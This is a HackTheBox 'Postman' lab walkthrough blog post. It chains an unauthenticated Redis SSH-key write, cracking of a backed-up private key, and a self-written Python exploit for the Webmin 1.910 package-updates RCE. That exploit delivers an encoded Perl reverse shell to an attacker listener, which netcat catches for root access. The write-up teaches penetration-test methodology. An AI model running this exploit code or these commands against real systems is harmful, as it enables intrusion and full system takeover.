Posts HackTheBox Postman Walkthrough
Post
Cancel

HackTheBox Postman Walkthrough

Scan (#1)

First of all, I enumerate the open ports and relative running services via nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─[user@parrot]─[~/data/Postman]
└──╼ $sudo nmap -sC -sV -Pn -sS postman.htb -oN scans/nmap_main
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 22:23 UTC
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.045s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.08 seconds

There are basically two HTTP services and a SSH one. The service listening on the port 80 shows a static HTML portfolio page containing useless info about the author and nothing interesting inside its code:

The service listening on the 10000 port shows instead a redirecting page (no juicy information inside HTML again) that suggests to retry the connection via HTTPS on the same port:

Connecting via HTTPS on port 10000 a Webmin login page is shown:

Technical Details

Let’s focus on what Webmin is, just to have a complete point of view:

Webmin is a web-based system configuration tool for Unix-like systems, although recent versions can also be installed and run on Windows.[5] With it, it is possible to configure operating system internals, such as users, disk quotas, services or configuration files, as well as modify and control open-source apps, such as the Apache HTTP Server, PHP or MySQL

A very important thing to remember is that Webmin is often executed as root since it needs to access low-level information!

Enumeration (#1)

Running dirb on the HTTP service on 80 gives nothing interesting and no hidden pages, while the execution on the Webmin service reveals some CGI pages protected by the platform’s authentication mechanism:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─[✗]─[user@parrot]─[~/postman]
└──╼ $dirb https://10.10.10.160:10000/ -X .cgi

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  9 11:23:59 2020
URL_BASE: https://10.10.10.160:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.cgi) | (.cgi) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://10.10.10.160:10000/ ----
+ https://10.10.10.160:10000/dokuwiki.cgi (CODE:403|SIZE:48378)                              
+ https://10.10.10.160:10000/fpdb.cgi (CODE:403|SIZE:35767)                                  
+ https://10.10.10.160:10000/xmlrpc.cgi (CODE:401|SIZE:163)                                  
                                                                                             
-----------------
END_TIME: Sun Feb  9 12:07:26 2020
DOWNLOADED: 4612 - FOUND: 3

At this point I realise that the Webmin version identified by the services scan has got a well-known vulnerability that leads to a RCE (MSF exploit), but valid credentials are necessary to exploit it and we don’t have any.
I start thinking about the existence of a weak password over Webmin and I try to execute hydra to guess the admin’s credentials, but the service stops me after 5/6 attempts:

It’s clear that something is missing and I try to return to the Scan step because I’ve probably missed some listening service.

Scan (#2)

I re-run nmap including the higher ports too and a new Redis 4.0.9 service pops up on port 6379:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─[user@parrot]─[/media/user/data/Postman/scans]
└──╼ $cat nmap_complete 
# Nmap 7.80 scan initiated Sun Feb  9 11:26:59 2020 as: nmap -sC -sV -Pn -sS -p- -oN nmap_complete postman.htb
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.034s latency).
Scanned at 2020-02-09 11:26:59 UTC for 16952s
Not shown: 65489 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
|   256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open     redis   Redis key-value store 4.0.9
10000/tcp open     http    MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb  9 16:09:31 2020 -- 1 IP address (1 host up) scanned in 16952.44 seconds

In addition, Redis is not authenticated as it is easily possible to verify via telnet:

1
2
3
4
5
6
7
8
9
10
11
┌─[user@parrot]─[/media/user/data/Postman]
└──╼ $telnet postman.htb 6379
Trying 10.10.10.160...
Connected to postman.htb.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

Technical Details

Let’s see a Redis introduction:

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker. It supports data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes with radius queries and streams.

It’s important to note that Redis is designed to be accessed by trusted clients inside trusted environments as you can read from its official security page:

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

For instance, in the common context of a web application implemented using Redis as a database, cache, or messaging system, the clients inside the front-end (web side) of the application will query Redis to generate pages or to perform operations requested or triggered by the web application user.

In this case, the web application mediates access between Redis and untrusted clients (the user browsers accessing the web application).
This is a specific example, but, in general, untrusted access to Redis should always be mediated by a layer implementing ACLs, validating user input, and deciding what operations to perform against the Redis instance.

In general, Redis is not optimized for maximum security but for maximum performance and simplicity.

Enumeration (#2)

First of all, the Redis dataset doesn’t contain any useful information, in fact it is completely empty:

1
2
3
4
5
6
7
8
┌─[user@parrot]─[~/postman/scans]
└──╼ $redis-cli -h postman.htb -p 6379
postman.htb:6379> INFO keyspace
# Keyspace
postman.htb:6379> KEYS "*"
(empty list or set)
(0.51s)
postman.htb:6379> 

Looking around on the web I find a paper that describes a technique that leads Redis 4.X to fall into RCE via master/slave synchronization mechanism, but it’s not viable because its necessity to use the module command that is unavailable on the target system (execute the module command via redis-cli to verify it).
Researching more info about Redis exploitation, I find a way to force it to write anywhere inside the filesystem it is allow to[1][2]. I only need to know a valid path inside of which the user that executes the process has write permissions.
Installing Redis 4 on my Debian distribution I notice that a new redis user is created and its home path is /var/lib/redis. Wait, what if that user is accessible via SSH and public/private key authentication is allowed????

Well, now I have a potential attack plan: to write my public key inside remote redis user authorized_keys file and to use SSH to access the machine!

Technical Details

In short, this last attack method exploits the Redis feature to export the entire in-memory dataset to the disk through the save command. Since the SSH server tries to read a valid public key inside the authorized_keys file and skips every invalid string, it is possible to add some padding to divide our public key from the data structure characters in order to gain access via SSH.

Exploitation

In the first place, I create both private and public key via ssh-keygen and then I modify the public one adding a bit of padding using newline characters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─[✗]─[user@parrot]─[~/postman]
└──╼ $ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): /home/user/postman/files/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/user/postman/files/id_rsa.
Your public key has been saved in /home/user/postman/files/id_rsa.pub.
The key fingerprint is:
SHA256:0nKMTatpfvPfGQe3uGlWBP0p96uGMXGIsl+3H33RfYU user@parrot
The key's randomart image is:
+---[RSA 3072]----+
|              .  |
|             . o |
|        . . . E +|
|       B o o o +=|
|      + S   o =.*|
|       B   + ..+*|
|      + . . =.+o=|
|     o  o. . *o=o|
|      .. o..=+=. |
+----[SHA256]-----+

┌─[user@parrot]─[~/postman/files]
└──╼ $(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > id_rsa_new.pub 

It’s now time to overwrite the authorized_keys file and see if the service gives us the OK response:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[user@parrot]─[~/postman/files]
└──╼ $cat id_rsa_new.pub | redis-cli -h postman.htb -p 6379 -x set crackid_az
OK
┌─[user@parrot]─[~/postman/files]
└──╼ $redis-cli -h postman.htb -p 6379
postman.htb:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> CONFIG SET dbfilename authorized_keys
OK
postman.htb:6379> save
OK

Great, it works! Unfortunately there is no user.txt inside the /var/lib/redis directory, so I probably need to laterally move to another linux account. Having a look at the /etc/passwd file I find an interesting Matt user, so it could be a viable target for doing so.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[✗]─[user@parrot]─[~/postman/files]
└──╼ $ssh -i id_rsa redis@postman.htb
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Feb 25 15:25:48 2020 from 10.10.16.14
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Let me see if there are any readable backup files around the system (thanks @Pentesterlab for giving me a good recognition methodology):

1
2
3
4
5
6
7
8
redis@Postman:/$ find / -readable -name *bak* 2>/dev/null
/opt/id_rsa.bak
/usr/share/help-langpack/en_GB/aisleriot/bakers_dozen.xml
/usr/share/help-langpack/en_GB/aisleriot/bakers_game.xml
/usr/share/webmin/filemin/images/icons/mime/text-x-bak.png

redis@Postman:/$ ls -al /opt/id_rsa.bak 
-rwxr-xr-x 1 Matt Matt 1743 Aug 26  2019 /opt/id_rsa.bak

The /opt/id_rsa.bak file is probably the Matt’s SSH private key, since he’s the file owner: good catch!
Now I only need to use the ssh2john tool to convert it in a format that JohnTheRipper can interpret and try to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─[user@parrot]─[~/postman/files]
└──╼ $/usr/share/john/ssh2john.py priv_key.bak > priv_key_john.bak 
┌─[user@parrot]─[~/postman/files]
└──╼ $john priv_key_john.bak -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (priv_key.bak)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:10 DONE (2020-02-25 18:07) 0.09293g/s 1332Kp/s 1332Kc/s 1332KC/sa6_123..*7¡Vamos!
Session completed

The derived password is computer2008 but with that I’m not able to log into SSH Matt’s account probably because the server configuration doesn’t allow this user to login from the outside. I manage to switch the current user anyway using su since Matt uses the public key passphrase as local password. Now I can read the file I was looking for:

1
2
3
4
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt 
517ad0********************8a2f3c

Privilege Escalation

Enumerating the files the Matt has access to I don’t notice anything useful despite of that the Webmin server (miniserv.pl) is executed directly by root:

1
2
3
4
5
6
7
8
redis@Postman:~$ ps aux | grep root
root          1  0.4  0.9 159404  8520 ?        Ss   18:20   0:03 /sbin/init splash
root          2  0.0  0.0      0     0 ?        S    18:20   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        I<   18:20   0:00 [kworker/0:0H]
[...]
root        627  0.0  1.8 331332 16612 ?        Ss   18:20   0:00 /usr/sbin/apache2 -k start
root        709  0.2  3.1  95296 29388 ?        Ss   18:20   0:01 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
[...]

It is clear that attacking this web service exploiting the vulnerability I found previously is a good way to privilege escalate! In order to do so, I need valid user credentials so springs to mind to test if the password I just found and the username Matt let us to login, and they actually do:

I should now run the exploit found previously, but since I don’t really want to use MSF I’ll write my own exploit (I created a gist containing the source code without any context data) from scratch using python and this repository that shows which requests lead the vulnerability to RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python

from requests import post
from urllib import quote
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning

USER = 'Matt'
PASS = 'computer2008'
RHOST = '10.10.10.160'
RPORT = '10000'
LHOST = 'YOUR_IP'
LPORT = 'YOUR_PORT'
SSL = True
PAYLOAD = "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV)=~/(.*)/)=$1;}}}}$c=new IO::Socket::INET(PeerAddr,\"{}:{}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>)}};'".format(LHOST, LPORT);
PAYLOAD_ENCODED = ('bash -c "{echo,' + b64encode(PAYLOAD) + '}|{base64,-d}|{bash,-i}"')

def base_url():
    return '{}://{}:{}/'.format(('https' if SSL else 'http'), RHOST, RPORT)

def login():
    params = {'user':USER, 'pass':PASS}
    cookies = dict(testing='1', redirect='1', sid='x')
    response = post(base_url() + 'session_login.cgi', data=params, cookies=cookies, verify=False, allow_redirects=False)
    return response.cookies['sid']

def deliver_payload(sid):
    data = "u=acl/apt&u= | {}&ok_top=Update+Selected+Packages".format(PAYLOAD_ENCODED)
    cookies = {'sid':sid}
    headers = {'content-type': 'application/x-www-form-urlencoded', 'Referer':'{}/package-updates/?xnavigation=1'.format(base_url())}
    try:
        response = post(base_url() + 'package-updates/update.cgi', cookies=cookies, headers=headers, data=data, verify=False, allow_redirects=False)
    except KeyboardInterrupt:
        pass

def banner():
    print " __          __    _                 _               __    ___  __   ___  "
    print " \ \        / /   | |               (_)             /_ |  / _ \/_ | / _ \ "
    print "  \ \  /\  / /___ | |__   _ __ ___   _  _ __  ______ | | | (_) || || | | |"
    print "   \ \/  \/ // _ \| '_ \ | '_ \`_ \ | || '_ \|______|| |  \__, || || | | |"
    print "    \  /\  /|  __/| |_) || | | | | || || | | |       | | _  / / | || |_| |"
    print "     \/  \/  \___||_.__/ |_| |_| |_||_||_| |_|       |_|(_)/_/  |_| \___/ "
    print "                                                                          "
    print "   -> coded by AzraelSec (federicogerardi94[at]gmail.com)               \n"

if __name__ == '__main__':
    banner()
    print 'Connecting to {}'.format(base_url())
    
    disable_warnings(category=InsecureRequestWarning)

    session_cookie = login()
    print 'Cookies forged: {}'.format(session_cookie)

    print 'Attacking using this payload: {}'.format(PAYLOAD)
    deliver_payload(session_cookie)

    print 'Attack completed :)'

Here we are: I just need to spawn a reverse shell using netcat and running my exploit against Postman host to have the ability to read the flag inside the root.txt file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─[✗]─[user@parrot]─[~/postman/code]
└──╼ $./webmin_exploit 
 __          __    _                 _               __    ___  __   ___  
 \ \        / /   | |               (_)             /_ |  / _ \/_ | / _ \ 
  \ \  /\  / /___ | |__   _ __ ___   _  _ __  ______ | | | (_) || || | | |
   \ \/  \/ // _ \| '_ \ | '_ \`_ \ | || '_ \|______|| |  \__, || || | | |
    \  /\  /|  __/| |_) || | | | | || || | | |       | | _  / / | || |_| |
     \/  \/  \___||_.__/ |_| |_| |_||_||_| |_|       |_|(_)/_/  |_| \___/ 
                                                                          
   -> coded by AzraelSec (federicogerardi94[at]gmail.com)               

Connecting to https://10.10.10.160:10000/
Cookies forged: b624511e88809aab1a80ccfa2d1da8e3
Attacking using this payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.188:2256");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
^CAttack completed :)
1
2
3
4
5
6
7
8
9
└──╼ $nc -vlp 2256
listening on [any] 2256 ...
connect to [10.10.14.188] from postman.htb [10.10.10.160] 38716
python -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd
cd
root@Postman:~# cat root.txt
cat root.txt
a25774********************86ddce

Final Notes

It was my specific purpose to highlight the entire pentesting process, passing from a scan phase to an enumeration one and going back if necessary. In fact, It’s really important to have a strict methodology to apply during assessments in order not to miss any important element of the attack surface.
In addition, I think it’s also fundamental to focus on the narration attack more than the final result itself. For this reason, I created additional sections inside this write-up to show the way I thought.

Contents